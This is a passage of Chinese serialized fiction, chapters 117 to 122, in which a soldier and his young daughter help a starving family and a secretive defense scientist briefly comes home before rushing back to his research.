就在这时,甜甜却已经辨明了方向,伸出小手指着其中一条胡同,大声说道:“爸爸,他们在那边!”
梁哲不再犹豫,立刻抱着甜甜钻进了那条胡同。几个人像玩捉迷藏一样,在狭窄的胡同里窜来钻去,巷子里的墙壁斑驳,墙角长满了杂草,偶尔有几声狗叫传来。
好在有甜甜这个小“雷达”,无论那两个孩子怎么绕路、怎么躲藏,她都能精准地辨出他们的方向,指引着梁哲一路追赶。
十几分钟后,甜甜忽然指着一条死胡同,拉了拉梁哲的衣角,小声说:“爸爸,小哥哥们进那个屋子啦。”
梁哲走过去。胡同尽头有棵歪脖树,旁边盖着几间砖瓦房,一扇木门
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板紧闭着。门板年久失修,木条之间裂着一指宽的缝隙,旁边的砖墙也塌了几块,露出里面的泥土。
其实早在追赶的路上,梁哲就已经注意到,两个男孩穿的衣服十分破旧,衣裤上打着好几块补丁,鞋子也磨破了底,显然家境并不富裕。如今看到这破旧的房屋,他心里更是大致猜到了几分,这一家人的日子,恐怕过得十分艰难。
他犹豫片刻,举手在门板上敲了敲:“请问有人吗?”
屋内安静了一会儿,随后传来一个女人虚弱的声音,带着几分疑惑问道:“谁啊?”
脚步声响起,门被拉开。先前跑得飞快的小男孩仰着脸,看着高大的梁哲,只一眼,脸色就变了。
他认出了梁哲。
刚才逃跑的时候,他回头看了一眼,已经发现这位高大的叔叔抱着一个小女孩在追赶自己,他当时没太在意,没想到,竟然被他追到家里来了。
小男孩下意识地就想关门,可梁哲反应更快,轻轻伸出手,挡住了门板。
“你干嘛!”小男孩强装镇定,色厉内荏地喊道,声音里却藏不住一丝恐惧和慌乱。
“小宇,外边是谁啊?”屋内,那个虚弱的女声又传了过来,带着几分担忧。
被叫做小宇的男孩张了张嘴,竟不知道该怎么回答,只能眼神凶凶地盯着梁哲。
梁哲看着他戒备的模样,心里已猜出了大概,轻轻拨开他的手,抱着甜甜迈步走了进去。
这是一间不大的小院,院子里开辟出两块小小的菜地,锄镐随意地丢在一旁,可菜地里却光秃秃的,连一根菜苗都没长出来,显然已经荒废了很久。
堂屋内,一个三十出头的女人坐在轮椅上,脸色蜡黄,身材干瘦,手上拿着绣了一半的枕套。
另一个小男孩,正蹲在灶台边,正在往灶膛里添柴,灶上的铁锅咕嘟咕嘟地冒着热气,里面似乎煮着什么东西。
看到梁哲父女,小男孩也紧张起来,有些无措地看着小宇。
梁哲却没有看这对小兄弟,他目光轻轻一扫,已经看清了灶上的铁锅里,正煮着方才两人偷来的青草,除此之外还有零星的几粒糙米,算是这锅里的一点粮食。
第117章 家国大义,穷到吃草,却藏着大格局
心头所有的疑问在这瞬间都有了答案,这母子三人想必是实在没有东西吃了,走投无路之下,小哥俩才会跑到动物园,去偷喂鹿的青草,用来充饥。
这也就解释了,为什么自己一路追,连一个工作人员都没看到,那个做样子的锁头,为什么一碰就开。
想来动物园的工作人员早知这些,才会装了大份的青草喂鹿,又在暗中行着方便,睁一只眼,闭一只眼。
毕竟,在当下这个全国粮食全都短缺的年代,这点新鲜的青草,也是能救人的。
女人打量着梁哲,又看了看他怀里的甜甜,眼里浮起诧异:"同志,您是?"
“阿姨,你家的小哥哥们……””甜甜趴在梁哲肩头,刚想告状,却被梁哲笑着截住话头:"大姐,我们是外乡来的游客,不小心走迷了路,讨口水喝。"
“哦,这样啊,好,好,没问题!”女人连忙向儿子道,“小宇,去给叔叔和妹妹倒杯水。”
顿了顿,她又像是想起了什么,补充道:“你们爷俩是外地人?这都快到晚饭时间了,是不是还没吃东西?要是孩子饿了,就在我这吃一口吧,国营饭店里的东西贵,咱们家里虽然简陋,却也能填填肚子。”
梁哲的目光扫过灶上的铁锅,看着里面煮着的青草,心里一阵发酸,他轻声问道:“大姐,那您一家三口,平日里都吃什么啊?”
女人的眼神微微闪烁了一下,勉强笑了笑,说道:“家里也没别的好吃的,正好有一碗菜叶粥,是两个娃从居委会拿来的。”
“居委会?”梁哲皱了皱眉,知道是两个孩子怕妈妈担心,故意编的谎言,果然看小光和小宇两个人,都像犯了错似的,低着头不敢往前凑。
梁哲不想让两个孩子紧张,转过话题,问题,“大姐,您家爱人呢?怎么没看到他?”
“他……”女人叹了口气,“早就不在家了。也不知死哪去了。”
“妈妈,我爸不是去找粮食了吗?”灶台前,那个叫小光的男孩抬起头,大声说道,“别那么说我爸,他是大科学家,他一定会回来的!”
“科什么家。”女人苦笑一声,“哪个科学家会扔下自己的老婆孩子,好几年不回家。”
说完这句话,她似乎觉得自己有些失态,当着外人的面抱怨丈夫,实在不妥,于是又轻轻“唉”了一声,脸上露出几分尴尬。
“让同志你见笑了,我不该当着孩子们的面说这些的。不说了不说了,你们饿了吧?快坐下,我让他们给你盛粥。”
家里明明已经穷到要吃煮青草了,可她依然保持着待客的热情,这份善良与坚韧,让梁哲心头一阵触动。
他连忙摆了摆手,说道:“大姐,不用麻烦您了,我们不饿,就是来讨口水喝,喝完我们就走,不打扰您和孩子们。”
也许是梁哲的温和与真诚,让女人放下了戒备;也许是这些年,她心中的委屈和苦楚实在无处倾诉,如今遇到一个陌生的、愿意倾听的人,便忍不住打开了话匣子。
在此之前,她的难处,她的委屈,从来都不敢跟两个年幼的儿子说,怕他们担心,怕他们难过。
“同志,你看你,女儿这么小,你还能抽出时间,抱她出来玩,一看就是个对家庭负责、对孩子关心的好男人。”女人看着梁哲,眼神中带着羡慕,“你妻子可真有福气,能有你这样的丈夫,孩子也能有你这样的爸爸。”
殊不知,这句话恰好戳中了梁哲的伤心处,瞬间唤起了深埋在内心里的愧疚。
他自问这些年,对妻女亏欠太多,要是真像女人所说的,对妻女多加陪伴,也不至于现在抱憾终身。
“同志,不瞒您说,我男人是农业科研所的。”
女人轻轻摩挲着手上的枕套,语气中带了一丝怀念,“您看我家这院子,以前他在家的时候,总会在这两块菜地里种上各种各样的蔬菜,我们一家人,也能吃上新鲜的青菜。”
“那他现在去哪了?”梁哲
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轻声问道,心里已经有了几分猜测。
“国家形势不好,地里收不出粮食,也长不出庄稼,”女人的声音低了下去,“他临危受命,被组织派出去了,说是去研究高产的庄稼,去解决老百姓的吃饭问题。”
“他走的时候,给我留了句话,等他研究成功了,就回来陪我们,可你也看到了,自他走后,我们这个家,就塌了一半。”
“我这腿不争气,干不了重活,还总拖组织的后腿,给他们添麻烦。其实,我自己能绣点枕头、被面换钱,不用组织总帮衬,这年头,大家都难。”
“就是孩子们心疼我,怕我饿肚子,这才隔三岔五去居委会,要点菜叶子回来……”
听到这里,梁哲已经完全明白了一切。
女人的丈夫舍小家、为大家,奔赴另一个战场。妻儿在家断了粮,孩子们不想总靠救济,才想出偷动物口粮的法子。
动物园体谅这家人的难处,索性装作不知情。只是动物园也给不了太多,双方就只能这样心照不宣地互相瞒着,一直熬到了现在。
灶上的铁锅,依然在咕嘟咕嘟地响着,青草的味道弥漫在小小的院子里,带着几分苦涩。
甜甜趴在梁哲的肩头,眨着圆溜溜的眼睛,看看灶上的铁锅,看看那两个低着头、一脸愧疚的小哥哥,又看看轮椅上满脸憔悴的阿姨,像是想到了什么法子。
她忽然从梁哲的怀里挣了下来,小步跑到灶台边,打开身上挎的小挎包,把里面的东西一股脑地掏出来。
奶糖、饼干、杏脯、奶豆。
都是之前在招待所,叔叔阿姨们送给她的。
她踮起脚,把这些全放到小光的手里,放不下了,就递给站在一旁的小宇。
“哥哥,给你吃。”
小光愣住了。看着甜甜手里的奶糖,又看了看甜甜天真的笑脸,一时之间,竟不知如何是好。
小宇也愣住了,脸上原本的的慌张和戒备,渐渐被惊讶和感动取代。
第118章 钱老归家,这才是大国脊梁的待遇!
轮椅上的女人见此情形刚要阻止,一张口,眼泪却先滚了出来,她扭过头,不舍得用枕套擦拭,只能用袖口把泪水抹去。
“同志,你们……不用这样……”
梁哲看着女儿小小的背影,看着母子三人激动的模样,眼眶也泛起了湿热。
他在心里,给女儿悄悄竖起了大拇指。
最后这顿饭,父女两人还是婉拒了,没舍得在他们家里吃,不过临走时,他把口袋里揣着的三十块钱,偷偷塞到了小宇手里。
小宇没见过这么多的钱,吓得直躲,梁哲伸出手,在唇边悄悄做了个“嘘”的手势。
“你是哥哥,答应叔叔,要照顾好妈妈和弟弟,这点钱,给妈妈买药,买吃的,但不能乱花。能不能做到?”
小宇是被妈妈吩咐来送客人的,没想到客人还给他提了个要求。
他愣了愣,随即立刻并拢双腿,学着爸爸以前教他的样子,敬了个像模像样的军礼,
“报告,保证完成任务!”
“好,像个小男子汉。”梁哲笑着摸摸他的头,在他的小肩膀上轻轻捶了一下。
小宇稚嫩的眼神也变得坚毅起来。
“叔叔,你家的地址在哪儿,等我长大后,一定要把钱还给你。”
“有你这句话就够了。”梁哲欣慰地笑笑,“叔叔就住在你爸爸工作的地方,有他在,叔叔以后都不担心饿肚子了。”
他知道,现在小宇还理解不了这话里的含义,也不会明白自己爸爸的伟大之处,但总有一天,他们会为自己的父亲骄傲的。
离开胡同,在甜甜的指路下,父女俩顺利找到公交车站点。
此刻夕阳已经落下,余晖洒满大地,照得一片橘红色的暖光。
“爸爸,”甜甜突然开口,“是不是还有很多人,都像小哥哥一家那样,在饿肚子呀。”
梁哲抿住唇角,目光柔和地看着女儿,“甜甜,我们国家现在还面临着很多困难,还有很多人,可能都吃不饱饭、穿不暖。不过这不重要,重要的是,我们从来没有放弃过理想,也从来没有停止过努力。”
“总有一天,我们会让所有人都能吃饱饭、过好日子。”
“爸爸,”甜甜眨了眨圆溜溜的眼睛,认真地说道,“等我们回到刘爷爷那里,也把咱们的鱼、果子、红薯还有馒头,分给那些吃不饱饭的叔叔和阿姨们,好不好?”
梁哲一怔,蹲下身子,注视着她的眼睛,“甜甜,你真是这么想的?”
基地现在虽然生活条件改善了,但因为人口基数庞大,目前也只能自给自足,但甜甜,显然已经站在了更高的角度,考虑着真正的民生。
很难想象,这竟然是一个三岁孩子的格局和善意。
“爸爸,你不是说过吗,有困难,就要一起努力!我们有好吃的,也要分给他们吃。”
“对,你说的没错,就是要学会分享,学会互相帮助。”梁哲有些激动地点点头,军人的职责,不只是为了完成自己眼前的任务,更要靖卫一方平安,让自己的人民不再饱受饥饿和苦难。
“甜甜,你的想法很对,爸爸回去后,就报告给刘爷爷,把咱们种的粮食,输送给人民。”
“那大家一定会谢谢爸爸的。”甜甜高兴地搂住梁哲的脖子,在他脸上吧唧亲了一下。
“不,爸爸不需要谢,就算要谢,也应该谢谢我们小甜甜!”他说着,一把骄傲地举起女儿,带着她原地转了个圈。
“哈哈哈……甜甜飞啦。”
甜甜像只被托举起的小鸟,发出了清脆悦耳的笑声。
钱教授离开西华厅后,赵志峰和宋大壮早已守在红旗轿车旁,见他出来,立刻快步上前,恭敬地拉开了车门。
待钱教授坐进车内,赵志峰没有一句废话,立刻将汽车驶离。钱教授的家位于
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京城军区家属院,这是最高**特意为保护钱教授一家安全,特批的住处。
—这里岗哨森严,环境清幽,楼上楼下住的都是军队高官,安保条件都执行着最高级别。
就算这样,赵志峰全程也开得小心翼翼,车前还有保卫局的摩托车开道护航。
而宋大壮,更是如同一道影子,如影随形地跟随着钱教授,甚至别人一度都不知道他藏在了哪里。
汽车行驶到最后一条街道时,赵志峰减缓下车速,轻声开口,“钱老,前面有一家国营百货商店,安保措施到位,您看,要不要进去瞧瞧?”
言下之意再明显不过,钱教授多年未归,这次回家,总不好空着手进门,总得给家人带点东西。
钱教授倒是一时疏忽了这件事,闻言微微一怔,点头道:“也好。”
赵志峰立刻通过电台下达了命令,一行人在百货商店前停车,宋大壮先一步进入商店,不动声色检查了一圈,其余保卫局的同志也化身便衣,散在商店各个角落,暗中警戒。
一切安排妥当后,钱教授才在赵志峰的陪同下走进商店。可看着货架上琳琅满目的商品,他却不由得犯了难。
这些年,他一门心思扑在国防科研事业上,整日与公式、实验打交道,从来没有留意过柴米油盐这类家常琐事。
他可以闭着眼推导出复杂的公式,熟练写下各类高精尖学术论文,却在面对针头线脑、日用百货时,完全摸不着头脑。
货架上的不少东西,他既不知道用途,甚至连见都没见过。
看到钱教授第一次露出这种茫然神色,赵志峰早有准备,从口袋里掏出一张小纸条。
“钱老,**特意吩咐过,要是您不知道买什么,可以参考一下这里面的东西。”
钱教授接过纸条,目光快速扫过,紧锁的眉头便舒展了大半:“好,就按这个买。”
第119章 近乡情怯!他为国隐姓埋名,商店为他改价
赵志峰立刻领着他走向女装柜台,可钱教授却停下了脚步。
他离家多年,早已记不清妻子的衣服尺码有没有变化,两个儿女是胖是瘦,就连小孙女的个头,也想不起具体有多高了。
见状,赵志峰连忙又掏出第二张纸,上面画着各类衣服尺寸,解释道:“蒋老师去学校上课时,我们问了她的学生,口头描述后请裁剪师傅估算的,其他人的身量也都确认过,应该大差不差。”
“那就买吧。”钱教授话音刚落,忽然想起方才把钱都给了干事,自己身上只剩了十块钱,若是买好几件衣服,肯定会超出预算。
他顿了顿,指着一件浅蓝色的确良衬衫,“就买这一件吧,这个尺寸,应该合适。”
“钱老,钱的问题您别担心,**说……”
“不用说了,”赵志峰话还没说完,就被钱教授摆手打断,“我有我的原则,就要这一件。”
众人都清楚,钱教授的原则性极强,一旦决定的事,绝不会轻易退让。赵志峰又劝道:“那您再买点别的?点心、麦乳精,还有新鲜水果,都是家里人爱吃的。”
其实他们一开始想提前帮钱教授准备好,但又怕做得太过,触怒钱教授,只能退而求其次。好在钱教授没有拒绝,按照赵志峰的建议,又买了几样礼盒装的食品。
凭着他极强的计算能力,十块钱花得分毫不差,连钢镚儿都没剩下。
他当然不知道,为了迎接这位功臣归来,百货商店早已悄悄调换了价签,将这些紧俏物资的价格压低了。否则,仅凭这十块钱,根本买不到这么多东西。
宋大壮和赵志峰想上前帮忙,却被钱教授摇头拒绝。反正这里离家里不远,他索性拎着满满两个网兜,徒步往家走。
其实在他心底,还是有近乡情怯的局促与不适。
他还记得,上次回家时,漫天飞雪,寒风刺骨,他一身寒意地推开家门,看到的却是妻子卧病在床、脸颊烧得滚烫的模样。
那一次,他后悔了很久,再三叮嘱妻子,有任何事一定要及时告诉他,可他从事的是绝密科研工作,行踪隐秘,连家人都不知道他的去向,又到哪里去联系他?
这么些年来,妻子一个人操持家务、养育儿女,而他这个做丈夫、做父亲的,却连妻子的衣服尺码,都已经记不清了。
酸涩的情绪在心头蔓延开来,眼前近在咫尺的家,竟让他生出了几分不敢踏入的紧张。
门口的警卫一眼就认出了钱教授,脸上瞬间露出惊喜之色,刚想开口打招呼,赵志峰连忙做了个“低调”的手势。
警卫立刻心领神会,轻轻点了点头,默默站回岗位,不敢声张。
钱教授拎着网兜,缓缓走向自家楼下。就在这时,一道稚嫩的童音忽然传来,清脆又调皮:“小胖,你耍赖皮!不准弄坏我的球!”
钱教授微微一怔,第一反应竟以为是甜甜,可仔细一听,才发觉这声音比甜甜的嗓音稍大一两岁,显然不是。
他停下脚步,转过头去。
只见楼下的榆钱树下,蹲着几个五六岁的幼童,四个虎头虎脑的小男孩,还有一个扎着羊角辫的小女孩,正围在一起,不知在玩什么热闹的游戏。
钱教授心底生出几分好奇,悄悄向他们走了几步。
只见孩子们中间,放着一个沾满灰土的空铁皮罐头,其中一个胖小子伸脚踩着罐头,扬起下巴不服气地嚷嚷:“你瞎说,这根本不是球,二柱,你怀里抱着的那个才是,对不对?”
叫二柱的小男孩低头看了看自己怀里瘪瘪的皮球,又看了看地上的铁罐,小声辩解:“可是,多多那个罐子,也能踢……”
叫多多的小女孩立刻叉着腰附和:“就是!我这个也能踢,凭啥不算?”
“能踢的就是球了?”小胖急得大喊,“我们玩的是踢球游戏,她这个是空罐头盒,不算数!”
虎子也急了,他明明已经进球了,要是不算数,他就输定了,连忙辩解:“能踢就行呗,人家多多的罐子一踢还带响呢!”说着,他转头问一旁没说话的铁蛋,“你说,是不是没规定只有二柱的球才算?”
铁蛋看看气鼓鼓的小胖,又看看委屈的多多,有点为难地抓了抓头发,小声劝道:“二柱的皮球漏气了,小胖,要不,咱们先踢会这个罐子吧?”
“不行不行,不是球就不算数!”小胖的认知被彻底挑战,急得直跺脚,小脸涨得通红。
几个小朋友各执一词,吵得面红耳赤。钱教授在一旁静静瞧着,越看越觉得那个叫多多的小姑娘眼熟——这不正是自家的小孙女吗?
没想到,才几年不见,竟然已经长这么大了。
他很少有这么轻闲的时光,倒不急得上前劝架,反而
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生出几分兴致,想看看这个小孙女,能怎么处理眼下的小矛盾。
果然,见大家吵得不可开交,钱多多忽然急了,两只小手放在嘴边,猛地大叫一声:“都别吵了!”
这响亮的嗓门一出,几个小朋友的声音瞬间卡住,你看看我,我看看你,谁都不敢再出声了。
钱多多叉着腰,表情严肃地问道:“你们说,我们今天玩的是什么游戏?”
虎子立刻举手,大声回答:“打倒鹰国鬼子!”
“怎么才能打倒鹰国鬼子?”
“把球,踢到对方阵地里!”小朋友们异口同声地回答。
“对嘛,”钱多多盯着小胖的眼睛,认真问道,“是不是只要能踢进对方阵地,就算打倒鹰国鬼子了?”
小胖嗫嚅了一下,脸上露出犹豫的神色:“可是,可是这也不是球啊……”
“你别管是啥,能进对方阵地就行,对不对?”钱多多不依不饶地追问。
小胖被问得说不出话来,铁蛋早已倒戈,连忙点了点头。二柱抱着怀里漏气的皮球,迟疑地问:“那,那我的球咋办?”
“你的球不是没气了吗?”钱多多一挥手,霸气十足地说,“没有你的球,咱们也得打鬼子!别管是啥,只要能打赢鬼子就行!”
“对,能打赢就行!”虎子高兴地跳了起来,这样他刚才进的球就能算分了。
“可……可是……”小胖还有点犹豫,钱多多干脆举起小手,大声说道:“同志们,现在我们来投票,我的罐子踢进阵地里,算不算赢?”
“算!”虎子第一个举手支持。
铁蛋犹豫了两秒,也举起了手。二柱嘟着小嘴,看看自己怀里的皮球,又看看一脸期待的多多,慢慢也抬起了手。
现场就剩下小胖一个人没表态。
“小胖!”铁蛋冲他努了努嘴,在一边倒的票数压制下,小胖只好不情不愿地点了点头:“行吧,那,那就算吧。”
“耶!那快踢吧,打倒鹰国鬼子!看谁进的球最多!”钱多多欢呼一声,迈着小短腿,一脚踢向地上的铁皮罐头。
这充满童趣的一幕,看得钱老唇边不自觉勾起了笑容。钱多多这个小机灵鬼,还真有点自己儿子小时候的顽皮劲儿,还透着一股不服输的韧劲。
可蓦地,他像是想到了什么,脸上的笑容瞬间褪去,眉头轻轻皱了起来。
第120章 童言点醒!钱老顿悟破瓶颈,归家不忘搞科研
钱多多那句“只要能打赢鬼子就行”,像一颗火星,猛地溅进了钱教授脑海深处。
他的瞳孔骤然缩紧,呼吸也在那一瞬间停滞。
脑海里的公式、数据、试验失败的片段,像被一只无形的手迅速翻动,再哗啦啦地打碎重组。
——皮球没气了,游戏就不能继续了?
不,只要能赢,方式不重要,东西不重要,不是皮球,换成铁罐子也可以;不够标准,只要经过改动,能达到目的就够了。
谁规定所有项目都要对标西方?更不能拿他们的尺子,来量我们脚下的路!
皮球没气了,那就找个替代品。单一项目不达标,就用系统优化去弥补,用总体设计去统筹。空罐子、玻璃瓶,哪怕是个石头子儿……只要把握住各个分系统的技术协调,一样可以把有限的能量发挥到极限!
钱教授的胸口热得发烫,仿佛有电流沿着脊椎往上窜。之前困扰他数月的技术瓶颈,此刻竟然被几句无心童言劈开。
迷雾散尽,一切豁然开朗!
他几乎是本能的转身,脚下发力,就要奔向最近的营房——
笔记本!
他需要笔记本!
必须立刻记下这整套构想!
“你……你什么时候回来的?”
头顶忽然传来颤抖的声音。
钱教授脚步一顿,缓缓抬头。二楼窗户不知何时推开,妻子探出半个身子,眼眶泛红,嘴唇微微颤抖。
那一瞬间,他的心像被狠狠揪了一下。手中的网兜滑落,“咚”地砸在地上。
苹果滚了出来。
几分钟后。
钱教授坐在家中的沙发上,目光追随着妻子忙碌的身影。
他看到她把网兜里的东西收拾进厨房,倒了杯温水放到他面前,又把苹果一个个捡出来,细细切成小块,摆在瓷盘里。
“别,别忙了……”钱教授张了张嘴,想说点什么,最后却只憋出这几个字。
“坐着你的吧,越帮越乱。”钱夫人回头瞪了他一眼,语气里是久违的熟悉责备。
“啊,行。”他只好又坐了回去。
钱多多抱着铁罐子,大眼睛忽闪忽闪地打量他,小声问:“你真是我爷爷啊?”
钱教授失笑,向她招了招手。
多多却往后退了两步,防备地抱紧罐子。
“多多,你爸爸呢?”
“上班去了,要很晚才回来。”
“那,你有没有纸笔,能不能给爷爷用一下?”
钱多多警惕地拒绝:“不行,我的铅笔都是妈妈削好的,不能给你。”
“爷爷书房门的钥匙,你有没有?”自从他走后,钱夫人怕孩子们误入他的书房、弄坏了里面的资料,特意将门上了锁。
“钥匙在奶奶那,她谁也不给。”多多摇了摇头。
钱教授摸了摸上衣口袋里的钢笔,“你帮爷爷拿几张纸来,行不行?”
钱多多歪着小脑袋想了想,看在爷爷带回来很多好吃的份上,勉为其难地点点头:“行吧。”
等钱夫人换上新买的浅蓝色衬衫,端着苹果进屋时,发现钱教授已经趴在饭桌上,头也不抬地书写着什么。
他甚至忙得没时间看她一眼。
更不知道,这件他以为合身的衬衫,比之前同学口中描述、他选定的尺寸,又肥了一寸。
蒋夫人看着埋头工作的钱教授,眼底闪过一丝无奈与心疼,默默地放下苹果,拉过一旁好奇探头的钱多多,转身走进了卧室。
“奶奶,爷爷他……”
“嘘——”钱夫人摇了摇头,打断了孙女的声音,“别吵爷爷,他在工作呢。”
“爷爷好奇怪啊,刚回来就工作吗?”钱多多不理解。
钱夫人苦笑一声,从抽屉里拿出书房钥匙:“去帮爷爷把门打开,请他进书房去吧。在饭桌上写,会腰疼的。”
夜幕降临,一轮圆月高悬夜空,清辉遍洒,照亮了千家万户团圆的身影。
一楼值班室内,宋大壮停住筷子,抬起头,目光再一次望向二楼那扇窗口。
窗玻璃上印出几道模糊的剪影,有略微苍老的轮廓,有正值壮年的身影,还有蹦蹦跳跳、顽皮可爱的幼童。
久违的欢笑声,像被月光捎来,断断续续地透过玻璃,落进他耳中。
“宋哥,宋哥?”
值班的警卫员顺着他的目光看了一眼,又转回来,“别看了,快吃菜,菜要凉了。”
宋大壮收回目光,夹了一筷子炒白菜送进嘴里,“嗯,吃,大伙也吃。”
“小宋,今晚我们
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有人值守,你要不少喝一口,解解乏,也能睡个好觉?”
赵志峰能看出来,宋大壮这一天眼睛几乎都没离开过钱老,此刻眼窝深凹,他想让他歇一会。
宋大壮摇摇头,“不了,这些年早忌酒了,再说,咱还有任务在身。”
“你放心,除了我们保卫局,这楼上楼下还有一个排的兵力守着钱老,绝对万无一失。”
宋大壮仍然摇头,“赵队,不是信不过兄弟,可我的任务是守好钱老。他少一根头发,我都不用回去了。”
“唉,行吧。”赵志峰点点头,知道他们有纪律,不好再劝。
他对这个外表勇武,内心却讲原则的军人十分钦佩,把桌上唯一一盘小炒牛肉又往他面前推了推。
“你多吃点肉,这可是沾了钱老的光,**特批给你的。”
宋大壮盯着那盘香气扑鼻的肉,虽然内心里疯狂地咽口水,却还是坚定地推拒了。
越是在关键时候,越要拒绝享乐,唯有保持绝对清醒,才能守住初心、完成任务——这是他在前线战场上,用血和命悟出来的。
更何况,这碗肉来之不易,他舍不得吃。
“赵队,我还是那句话,我们不缺这口吃的,要是兄弟们都不吃,就给钱老送回去,他老人家工作的时候,都吃不上口荤腥。”
“你就放心吃吧,钱老今天的菜谱是**定的,采购班早就送去了鸡鱼肉蛋。”
赵志峰见他推拒,干脆端起盘子,把肉往他碗里拨,“让你吃好,就是我们的任务!我军衔比你高,听我的!”
“我吃不了这么多,赵队,你和兄弟们一起吃。”宋大壮急忙伸手阻挡。
“吃,这是命令!”
赵志峰二话不说,又给他拨了多半盘。
宋大壮无法,只好端起碗,往嘴里扒拉。
久违的香味顺着唇齿舌头,再沿着喉咙滑进胃里。
香,太香了。
香得他鼻尖发酸。
一想到基地的战友,还有那些没日没夜搞科研的同志,他的眼泪就在眼眶里打转。
“宋哥,你咋得了?”警卫员惊讶的这铁血汉子吃着吃着眼眶就红了,吓了一跳。
宋大壮鼓着腮帮子,拼命往下咽,可越嚼,他越觉得不是滋味。
第121章 让人揪心!铁血汉子吃肉落泪,钱老重返基地
“赵队,我想把这盘肉,给战友们带回去。”
他有点迟疑,抬起头问,“就是不知道,要是放几个晚上,味道会不会变坏呀?”
赵志峰沉默了。
他喉结剧烈滚动了一下,一股酸涩顺着鼻尖往上涌,眼眶也瞬间湿了。
他拍了拍宋大壮的肩膀,语气郑重:“大壮,老哥答应你,你放心吃你的,明天一早,我就派人去街上采购,甭管哪个供应社,哪怕跑遍整个京城,等你回去时,一准给你拉上一车肉,让兄弟们都能吃上一口!”
“真的?!”宋大壮激动地放下筷子。
赵志峰指了指自己胸口,那里别着最高领导人的纪念章,“我向最高领导人保证!”
“成!”
宋大壮“唰”地一下站起身,对着赵志峰郑重地敬了一个军礼。
这是对刚才承诺的回应。
赵志峰和警卫员也站了起来,严肃而庄严的回礼。
这是他们作为同志和战友,许下的最高约定。
这顿饭吃得心满意足,宋大壮连吃了三碗碴子饭,肚皮都快撑圆了。不过脑子里的弦却一分钟也没松懈,始终绷紧了,警惕着周围的动静。
饭后,几个人又聊了会儿,话题从老家扯到部队,又从部队扯到战场上的往事。虽然点到为止,警卫员还是听得津津有味。
正在这时,值班室的电话突兀地响了起来。
几人同时转头,警卫员在赵志峰示意下接起,只听了一句,就皱起眉,把听筒递给宋大壮:“钱老找你。”
宋大壮收起笑,接过话筒:“钱老,我在。”
“两件事,”钱教授刻意压低了声音,为了打这通电话,他避开家人,悄悄躲进了书房里。“帮我联系郑宏教授,我要知道他们材料检验的结果。”
宋大壮一愣,没吭声。
“怎么了?”钱教授敏锐地听出异样,语气变得严肃。
宋大壮喉结滚动了一下,“钱老,您刚回家……”
“说!”
宋大壮不敢隐瞒,“半小时前,郑教授来过电话。”
“他怎么说?”
“他说,报告出来了,材料是特级。”
“什么?”钱教授声线拔高,隔着话筒也能听出不悦。“为什么不送上来?!”
宋大壮咽了口唾沫,没敢说出实话。
他和赵志峰研究过,钱教授刚回家,好不容易和家人吃顿团圆饭,不是重要的事情,尽量别打扰他。
郑宏教授也是太着急了,化验结果一出来,想也没想就要通知钱老,可听宋大壮一说,他这才回过神来,带着歉意挂断了电话。
可他没想到,钱老和郑宏教授一样,也是个眼里揉不得沙子的工作狂。方才在饭桌上,面对一家人的欢声笑语,他就表现得有些心不在焉,筷子夹了菜,又放下,家人询问他近况,他也说不上几句。
那些材料的化验结果和公式们不断在脑子里打转。
此刻一听宋大壮耽误了报告,不禁当场沉下脸来。
“简直是胡闹!”
他平日里性子温和,可一旦涉及到工作,就有着绝不容情的原则。
宋大壮早已领教过钱老的厉害,吓得脖子一缩,仿佛钱老就站在他面前,用那双严厉的眼睛盯着他。
他心中暗暗叫苦,自己刚才的决定本就冒着风险,没想到这么快就露馅了。
“钱老,对不起,我这就联系郑教授,立刻把报告给您送过去!”宋大壮连忙道歉。
“还有一件事,”钱教授语气缓缓,“通知赵志峰同志,联系专机,我要明天返回基地。”
“啥?”
宋大壮一听就急了,这回他可不能奉命,“钱老,司令说了,您得在家呆满五天,不然不让您回去!”
“怎么,你只听他的,不听我的?”
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钱教授反问。
宋大壮语塞了。就连刘司令都不敢直接反驳钱老,就凭他,借他一百个胆子,他也不敢说一句“是”。
“钱老,我这也是……”
“执行吧,没有理由。”钱教授说完,不等宋大壮开口,直接把电话挂断了。
听筒里传来“嘟嘟”的忙音,宋大壮抓着听筒,一脸茫然。
赵志峰后者也无语了,谁都没想到,钱教授才回到家里半天,又要投身工作岗位。
“这事太大,我做不了主,得向上级汇报。”赵志峰说。一边拿出通讯器,一边看向宋大壮,“你也赶紧联系刘司令,把钱老的意思传达过去。”
“唉,好。”宋大壮耷拉着脸点点头,心想自己这次回去,刘司令肯定会以“办事不利”的名头关他的禁闭。
赵志峰见他犹豫,也有点不忍心,“要不,你再去劝劝钱老?他好不容易回来一趟,总得再陪陪蒋老师吧?”
宋大壮苦笑,“我哪有那个面子。不过……”
他忽然灵光一闪,“快给西华厅招待所打电话,这事,只有梁团长家的闺女能劝动。”
“是那个叫甜甜的小姑娘?”赵志峰有印象,那小女娃别看年纪小,可透着一股不同寻常的机灵劲。
“没错。”宋大壮点点头,心想能说服钱老的,大概也只有他这位“关门”小弟子了。
“那试试吧,怎么也得让他多留半天,我还答应你去街上拉一车肉呢。”
“行,”宋大壮当机立断,“咱们一起行动。”
另一边,钱教授挂断电话,侧耳听了听书房外的动静,儿子儿媳已经抱着钱多多离开了,女儿也回了学校,大家默契地把这难得的团圆时光,留给了久别重逢的父母。
方才趁着大家告别时的嘈杂,他溜进书房打了这通电话,可挂断后,心里忽然空落落的,像是被挖走了一块。
第122章 心碎破防!钱老与妻相拥,别离藏着家国大义
想到既将面对妻子失望的眼神,他竟然生出了几分推不开书房门的无力感。
如果可以,他也想在家好好呆满五天,好好陪陪妻子,弥补这些年的亏欠。可他不能——
**研发的任务,像一团烈火烧灼着他的心,让他无时无刻不在惦记着基地的设计室,想要争分夺秒地攻克难关。
他低头看着桌面上刚刚写就的草稿纸,公式、结构框图、分系统协调表,每一个字迹都力透纸背,仿佛在无声地催促着他:
快点,再快点!
一定要在六个月内,造出属于我们自己的**!
整个大夏已经没有时间,等着安利普再次登门逼迫。
深吸一口气,钱教授用力拧开了门把手。
可就在他踏出书房门的那一刻,脚步,却猛地僵住了。
一个打开的行李箱放在地上,里面早已装好了之前他没来得及拿走的四季衣服,钱夫人坐在床边,正在一样一样地整理着物品:
药、茶叶、咖啡罐、肉罐头、热水袋、干净毛巾……
分门别类,样式齐全。
感觉到投来的目光,钱夫人抬起头,恰好与钱教授四目相对。
愧疚与疼惜,瞬间涌上钱教授的眼。
一行无声的泪,滑过他的衣襟。
“老伴儿……”
从前在鹰国时,风华正茂的他,是不会这样称呼妻子的。那时的他只感谢妻子对他的理解和支持,曾许诺过无数次,有一天不忙了,要带她走遍大好河山。
